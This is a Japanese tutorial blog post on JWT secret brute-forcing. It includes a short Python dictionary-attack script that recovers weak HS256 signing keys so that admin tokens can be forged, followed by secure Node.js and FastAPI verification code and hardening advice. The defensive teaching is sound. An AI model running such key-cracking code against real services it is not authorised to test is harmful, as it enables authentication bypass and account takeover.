【実務・中級編】 JWTの秘密鍵推測とブルートフォース攻撃 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

おい、ちょっと手を止めてこっちを向いてくれ。

先日、他社で派手にやらかしたインシデントのフォレンジック(原因調査)を手伝ったんだが、まあ見事に「あれ」が原因だった。犯人は高度なゼロデイ攻撃でも何でもない。GitHubにうっかり放置されていた、あるいは推測可能な「弱い秘密鍵」を使ったJWT(JSON Web Token)の総当たり、つまりブルートフォース攻撃だ。

「うちの認証基盤はJWTを使っているから安全だ」なんて思っていないか?
もしそのJWTの署名アルゴリズムに HS256 (HMAC using SHA-256)を指定していて、かつ秘密鍵に secret や password123 、あるいは社名やプロジェクト名のようなナメた文字列を使っているなら、君のシステムは今日明日にも丸裸にされる。

今日は、なぜこの攻撃がこれほどまでに脅威なのか、攻撃者が裏で何をやっているのかという現実(オフェンシブ側の視点)と、それを綺麗に叩き潰すためのセキュアな実装コードを授けよう。後輩の君たちには、二度と「鍵の強度が足りませんでした」なんていう情けない事故を起こしてほしくないからな。

—

1. 攻撃者が狙う盲点:JWTの構造と「HS256」の罠

まずは敵を知ることから始めよう。JWTは以下の3つのパートがドット(.)で結合されているだけの、ただの文字列だ。

1. Header: アルゴリズム(alg)やトークンタイプ(typ)のメタデータ
2. Payload: ユーザーIDや権限(sub, role 等)のクレーム
3. Signature: HeaderとPayloadを結合し、秘密鍵でハッシュ化した署名

ここで重要なのは、HeaderとPayloadはBase64Urlでエンコードされているだけで、暗号化は一切されていないという点だ。誰でもブラウザのデベロッパーツールを開けば、中のクレーム(管理者フラグなど)を丸裸で読むことができる。

「でも、署名(Signature)があるから改ざんできないのでは?」と思ったそこの君。
その通り。正しい秘密鍵を知っていなければ、改ざんしたPayloadに対して正しい署名を作ることはできない。――そう、秘密鍵が「推測可能」でなければな。

もし開発者が HS256 を使っており、その秘密鍵が辞書載っているような単語や短すぎる文字列だった場合、攻撃者はサーバーに1回もアクセスすることなく(オフラインで)、手元のPCで高速にブルートフォースを仕掛けて秘密鍵をいとも簡単に暴き出す。鍵さえ手に入れば、あとはやりたい放題。role: "admin" に書き換えた偽造トークンを生成し、システムのエントランスを悠然と突破されておしまいだ。

—

2. 【実録PoC】オフライン・ブルートフォース攻撃の脅威

百聞は一見にしかず。攻撃者が裏でどのようなスクリプトを回して秘密鍵をハントしているか、その一端をPythonのコードで見てみよう。もちろんこれは、脆弱性を検証するための教育・防衛目的のコード(PoC)だ。

import hmac
import hashlib
import base64

# ターゲットから取得したJWT(例)
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NSwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = jwt_token.split('.')
message = f"{parts[0]}.{parts[1]}".encode('utf-8')
target_signature = parts[2]

def base64url_encode(data):
    """JWT標準のBase64Urlエンコードを行う関数"""
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

# 攻撃者が用意するよくある脆弱なパスワード辞書
dictionary = ["secret", "password", "123456", "admin", "development", "supersecretkey"]

print("[*] JWTのオフライン・ブルートフォース攻撃を開始します...")

found = False
for candidate in dictionary:
    # 候補の秘密鍵でHMAC-SHA256署名を生成
    computed_sig = hmac.new(
        candidate.encode('utf-8'),
        message,
        hashlib.sha256
    ).digest()
    
    encoded_sig = base64url_encode(computed_sig)
    
    # 生成された署名がターゲットの署名と一致するか検証
    if encoded_sig == target_signature:
        print(f"\n[+] 成功!秘密鍵を特定しました: '{candidate}'\n")
        found = True
        break

if not found:
    print("[-] 辞書攻撃では秘密鍵を特定できませんでした。")

このスクリプトが示す通り、GPUを使えば1秒間に数百万〜数千万回のハッシュ計算が可能だ。脆弱な鍵を設定しているということは、攻撃者に「どうぞ我が家の合鍵を総当たりで作ってください」と言っているようなものなのだ。

—

3. 防御の鉄則:徹底すべきセキュアな設計と実装

じゃあ、どうやってこの脅威を防ぐのか? 答えはシンプルだが妥協してはならない。

1. 強靭な秘密鍵(または非対称暗号)の使用:
HS256 を使い続けるなら、最低でも256ビット(32バイト)以上の、エントロピー(ランダム性)が十分に担保された乱数を秘密鍵に指定すること。もしくは、公開鍵暗号方式である RS256 や ES256 へ移行し、署名は厳重に管理された認可サーバー(Auth0やKeycloakなど)に任せるのが現代のベストプラクティスだ。
2. アルゴリズムの固定と厳格な検証:
ライブラリ任せにすると、たまにアルゴリズムに none を指定されたり、RS256 で使っている公開鍵を HS256 の秘密鍵として誤認させる脆弱性(CVE-2015-9235など)を踏むことがある。検証時は必ず使用するアルゴリズムをコード側で明示的に固定すること。

—

4. 【コピペで使える】セキュアな実装サンプルコード

百聞は一見にしかず、日々の開発でそのまま使えるセキュアな実装例を提示しよう。ここではモダンなWeb開発でよく使われる Node.js (jsonwebtoken) と Python (PyJWT) のコードを載せておく。

パターンA: Node.js (Express環境) の場合

環境変数から十分に長いシークレットを読み込み、アルゴリズムを HS256 に厳格に固定して検証・生成を行うサンプルだ。

const jwt = require('jsonwebtoken');

// 秘匿情報は必ず環境変数から取得し、コード内にハードコーディングしない
// 最低でも32バイト以上のランダムな文字列を設定すること
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
    throw new Error("致命的エラー: JWT_SECRETが未設定または短すぎます。32文字以上の安全な鍵を設定してください。");
}

/**
 * セキュアなJWT生成関数
 * @param {Object} payload ユーザー情報などのクレーム
 * @returns {string} 署名済みJWT
 */
function generateToken(payload) {
    return jwt.sign(payload, JWT_SECRET, {
        algorithm: 'HS256', // アルゴリズムを明示的に固定
        expiresIn: '15m'    // ライフスパンは短く設計する(アクセストークンの基本)
    });
}

/**
 * セキュアなJWT検証ミドルウェア
 */
function verifyTokenMiddleware(req, res, next) {
    const authHeader = req.headers['authorization'];
    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        return res.status(401).json({ error: '認証トークンが存在しません。' });
    }

    const token = authHeader.split(' ')[1];

    try {
        // algorithmsオプションを指定し、想定外のアルゴリズム(noneやRS256の混入など)を完全に排除する
        const decoded = jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] });
        req.user = decoded;
        next();
    } catch (err) {
        // エラー詳細をそのままクライアントに返さない(情報漏洩の防止)
        return res.status(403).json({ error: '無効なトークン、または有効期限切れです。' });
    }
}

module.exports = { generateToken, verifyTokenMiddleware };

パターンB: Python (FastAPI / Flask 環境) の場合

PythonでJWTを扱う際は、PyJWT ライブラリの仕様に注意が必要だ。アルゴリズムの指定を怠ると予期せぬ脆弱性を生む。

import os
from datetime import datetime, timedelta
import jwt
from fastapi import HTTPException, Security, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials

# 環境変数から強固な秘密鍵を取得
JWT_SECRET = os.getenv("JWT_SECRET")
if not JWT_SECRET or len(JWT_SECRET) < 32:
    raise RuntimeError("致命的エラー: JWT_SECRETが不適切です。32文字以上の強力な文字列を指定してください。")

ALGORITHM = "HS256"
security = HTTPBearer()

def create_access_token(data: dict, expires_delta: timedelta = timedelta(minutes=15)) -> str:
    """セキュアなアクセストークン生成"""
    to_encode = data.copy()
    expire = datetime.utcnow() + expires_delta
    to_encode.update({"exp": expire})
    
    # HS256アルゴリズムで署名
    encoded_jwt = jwt.encode(to_encode, JWT_SECRET, algorithm=ALGORITHM)
    return encoded_jwt

def verify_access_token(credentials: HTTPAuthorizationCredentials = Security(security)) -> dict:
    """リクエスト毎のトークン検証"""
    token = credentials.credentials
    try:
        # algorithms引数にリストで明示的に許可するアルゴリズムを指定する(必須)
        payload = jwt.decode(token, JWT_SECRET, algorithms=[ALGORITHM])
        return payload
    except jwt.PyJWTError:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="無効な認証クレームです。",
        )

—

最後に:セキュリティは「面倒くさい」の積み重ねではない

JWTの秘密鍵ブルートフォースは、攻撃者からすれば「そこに鍵のかかっていない金庫がある」ようなものだ。仕組みさえ理解していれば、鍵の桁数を増やす、環境変数を適切に管理する、アルゴリズムを固定するという、ごく当たり前の基本工程を徹底するだけで100%防ぐことができる。

「動けばいいや」で作ったコードが、将来的に会社の信頼を根底から揺るがす大惨事を引き起こす。それはエンジニアとして一番避けたい事態のはずだ。
今日紹介した実装や考え方を、今一度自分のプロジェクトのコードベースに照らし合わせて確認してほしい。頼んだぞ。

コメント

タイトルとURLをコピーしました